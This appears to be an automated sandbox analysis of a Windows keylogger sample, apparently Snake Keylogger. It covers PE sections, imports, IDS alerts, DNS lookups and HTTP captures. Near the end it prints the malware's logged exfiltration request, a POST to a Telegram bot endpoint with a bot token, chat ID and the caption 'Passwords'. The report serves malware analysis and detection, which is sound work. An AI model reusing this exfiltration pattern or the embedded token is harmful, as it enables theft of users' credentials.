Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dcc4	0x8de00	d28a820a1d9ff26cda02d12b888ba4b4	False	0.5728679102422908	data	6.676118058520316	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2e10e	0x2e200	79b14b254506b0dbc8cd0ad67fb70ad9	False	0.33535526761517614	OpenPGP Public Key	5.76010872795207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbe000	0x8f74	0x5200	9f9d6f746f1a415a63de45f8b7983d33	False	0.1017530487804878	data	1.198745897703538	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc7000	0x2a238	0x2a400	549ba77c18356eeed823b608f692eec1	False	0.8793165218195266	data	7.733725226014329	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xf2000	0x711c	0x7200	6fcae3cbbf6bfbabf5ec5bbe7cf612c3	False	0.7650767543859649	data	6.779031650454199	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc7458	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc7580	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc76a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc77d0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 60472 x 60472 px/m	English	Great Britain	0.2639348134152102
RT_MENU	0xcb9f8	0x50	data	English	Great Britain	0.9
RT_STRING	0xcba48	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xcbfdc	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xcc668	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xccaf8	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xcd0f4	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcd750	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xcdbb8	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xcdd10	0x2300b	data			1.000355720473457
RT_GROUP_ICON	0xf0d1c	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xf0d30	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xf0d44	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xf0d58	0x14	data	English	Great Britain	1.25
RT_VERSION	0xf0d6c	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0xf0e48	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T23:46:01.526747+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49699	193.122.6.168	80	TCP
2025-01-10T23:46:09.948698+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49699	193.122.6.168	80	TCP
2025-01-10T23:46:10.839573+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.7	49732	149.154.167.220	443	TCP
2025-01-10T23:46:11.253496+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49732	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:46:00.530488968 CET	49699	80	192.168.2.7	193.122.6.168
Jan 10, 2025 23:46:00.535485983 CET	80	49699	193.122.6.168	192.168.2.7
Jan 10, 2025 23:46:00.535573959 CET	49699	80	192.168.2.7	193.122.6.168
Jan 10, 2025 23:46:00.536077023 CET	49699	80	192.168.2.7	193.122.6.168
Jan 10, 2025 23:46:00.540982008 CET	80	49699	193.122.6.168	192.168.2.7
Jan 10, 2025 23:46:01.268049955 CET	80	49699	193.122.6.168	192.168.2.7
Jan 10, 2025 23:46:01.272322893 CET	49699	80	192.168.2.7	193.122.6.168
Jan 10, 2025 23:46:01.277173996 CET	80	49699	193.122.6.168	192.168.2.7
Jan 10, 2025 23:46:01.485168934 CET	80	49699	193.122.6.168	192.168.2.7
Jan 10, 2025 23:46:01.526746988 CET	49699	80	192.168.2.7	193.122.6.168
Jan 10, 2025 23:46:01.534575939 CET	49700	443	192.168.2.7	104.21.32.1
Jan 10, 2025 23:46:01.534615993 CET	443	49700	104.21.32.1	192.168.2.7
Jan 10, 2025 23:46:01.534686089 CET	49700	443	192.168.2.7	104.21.32.1
Jan 10, 2025 23:46:01.541595936 CET	49700	443	192.168.2.7	104.21.32.1
Jan 10, 2025 23:46:01.541620970 CET	443	49700	104.21.32.1	192.168.2.7
Jan 10, 2025 23:46:02.014539003 CET	443	49700	104.21.32.1	192.168.2.7
Jan 10, 2025 23:46:02.014734983 CET	49700	443	192.168.2.7	104.21.32.1
Jan 10, 2025 23:46:02.025932074 CET	49700	443	192.168.2.7	104.21.32.1
Jan 10, 2025 23:46:02.025957108 CET	443	49700	104.21.32.1	192.168.2.7
Jan 10, 2025 23:46:02.026314974 CET	443	49700	104.21.32.1	192.168.2.7
Jan 10, 2025 23:46:02.073725939 CET	49700	443	192.168.2.7	104.21.32.1
Jan 10, 2025 23:46:02.524624109 CET	49700	443	192.168.2.7	104.21.32.1
Jan 10, 2025 23:46:02.567329884 CET	443	49700	104.21.32.1	192.168.2.7
Jan 10, 2025 23:46:02.636349916 CET	443	49700	104.21.32.1	192.168.2.7
Jan 10, 2025 23:46:02.636518002 CET	443	49700	104.21.32.1	192.168.2.7
Jan 10, 2025 23:46:02.636596918 CET	49700	443	192.168.2.7	104.21.32.1
Jan 10, 2025 23:46:02.914594889 CET	49700	443	192.168.2.7	104.21.32.1
Jan 10, 2025 23:46:08.569119930 CET	49699	80	192.168.2.7	193.122.6.168
Jan 10, 2025 23:46:08.574043036 CET	80	49699	193.122.6.168	192.168.2.7
Jan 10, 2025 23:46:09.907165051 CET	80	49699	193.122.6.168	192.168.2.7
Jan 10, 2025 23:46:09.948698044 CET	49699	80	192.168.2.7	193.122.6.168
Jan 10, 2025 23:46:10.159571886 CET	49732	443	192.168.2.7	149.154.167.220
Jan 10, 2025 23:46:10.159615040 CET	443	49732	149.154.167.220	192.168.2.7
Jan 10, 2025 23:46:10.159719944 CET	49732	443	192.168.2.7	149.154.167.220
Jan 10, 2025 23:46:10.160234928 CET	49732	443	192.168.2.7	149.154.167.220
Jan 10, 2025 23:46:10.160253048 CET	443	49732	149.154.167.220	192.168.2.7
Jan 10, 2025 23:46:10.792145967 CET	443	49732	149.154.167.220	192.168.2.7
Jan 10, 2025 23:46:10.792220116 CET	49732	443	192.168.2.7	149.154.167.220
Jan 10, 2025 23:46:10.795527935 CET	49732	443	192.168.2.7	149.154.167.220
Jan 10, 2025 23:46:10.795548916 CET	443	49732	149.154.167.220	192.168.2.7
Jan 10, 2025 23:46:10.796031952 CET	443	49732	149.154.167.220	192.168.2.7
Jan 10, 2025 23:46:10.797802925 CET	49732	443	192.168.2.7	149.154.167.220
Jan 10, 2025 23:46:10.839339018 CET	443	49732	149.154.167.220	192.168.2.7
Jan 10, 2025 23:46:10.839401007 CET	49732	443	192.168.2.7	149.154.167.220
Jan 10, 2025 23:46:10.839409113 CET	443	49732	149.154.167.220	192.168.2.7
Jan 10, 2025 23:46:11.253648043 CET	443	49732	149.154.167.220	192.168.2.7
Jan 10, 2025 23:46:11.253850937 CET	443	49732	149.154.167.220	192.168.2.7
Jan 10, 2025 23:46:11.253901958 CET	49732	443	192.168.2.7	149.154.167.220
Jan 10, 2025 23:46:11.254631042 CET	49732	443	192.168.2.7	149.154.167.220
Jan 10, 2025 23:47:14.907874107 CET	80	49699	193.122.6.168	192.168.2.7
Jan 10, 2025 23:47:14.908001900 CET	49699	80	192.168.2.7	193.122.6.168
Jan 10, 2025 23:47:42.686562061 CET	49699	80	192.168.2.7	193.122.6.168
Jan 10, 2025 23:47:42.691462040 CET	80	49699	193.122.6.168	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:46:00.513812065 CET	63843	53	192.168.2.7	1.1.1.1
Jan 10, 2025 23:46:00.521626949 CET	53	63843	1.1.1.1	192.168.2.7
Jan 10, 2025 23:46:01.526083946 CET	51181	53	192.168.2.7	1.1.1.1
Jan 10, 2025 23:46:01.533956051 CET	53	51181	1.1.1.1	192.168.2.7
Jan 10, 2025 23:46:10.151846886 CET	60067	53	192.168.2.7	1.1.1.1
Jan 10, 2025 23:46:10.158711910 CET	53	60067	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:46:00.513812065 CET	192.168.2.7	1.1.1.1	0xa886	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:46:01.526083946 CET	192.168.2.7	1.1.1.1	0x5e86	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:46:10.151846886 CET	192.168.2.7	1.1.1.1	0x3a40	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 23:46:00.521626949 CET	1.1.1.1	192.168.2.7	0xa886	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:46:00.521626949 CET	1.1.1.1	192.168.2.7	0xa886	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:46:00.521626949 CET	1.1.1.1	192.168.2.7	0xa886	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:46:00.521626949 CET	1.1.1.1	192.168.2.7	0xa886	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:46:00.521626949 CET	1.1.1.1	192.168.2.7	0xa886	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:46:00.521626949 CET	1.1.1.1	192.168.2.7	0xa886	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:46:01.533956051 CET	1.1.1.1	192.168.2.7	0x5e86	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:46:01.533956051 CET	1.1.1.1	192.168.2.7	0x5e86	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:46:01.533956051 CET	1.1.1.1	192.168.2.7	0x5e86	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:46:01.533956051 CET	1.1.1.1	192.168.2.7	0x5e86	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:46:01.533956051 CET	1.1.1.1	192.168.2.7	0x5e86	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:46:01.533956051 CET	1.1.1.1	192.168.2.7	0x5e86	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:46:01.533956051 CET	1.1.1.1	192.168.2.7	0x5e86	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:46:10.158711910 CET	1.1.1.1	192.168.2.7	0x3a40	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.122.6.168	80	7280	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:46:00.536077023 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:46:01.268049955 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:46:01 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 23:46:01.272322893 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 23:46:01.485168934 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:46:01 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 23:46:08.569119930 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 23:46:09.907165051 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:46:09 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	104.21.32.1	443	7280	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:46:02 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-10 22:46:02 UTC	865	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:46:02 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1863951 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aJyP%2B6IIluCfAvmIKdk%2BhgkK%2BY6ANV1LmXhIHFDJKe%2Bf%2Fnir6%2FXWAgqwtanOq0ueFUmi45jo6h%2BSvFIjfNYLxeVvWulTJHUPgOWhRJHCIapr6NkBEm8oY1c6uWH5%2FAXfRcCbqJHB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9000336a1ff41875-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1696&min_rtt=1696&rtt_var=636&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1721698&cwnd=153&unsent_bytes=0&cid=4762395094960560&ts=635&x=0"
2025-01-10 22:46:02 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49732	149.154.167.220	443	7280	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:46:10 UTC	299	OUT	POST /bot8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM/sendDocument?chat_id=7455776561&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd319eaa996ebc Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
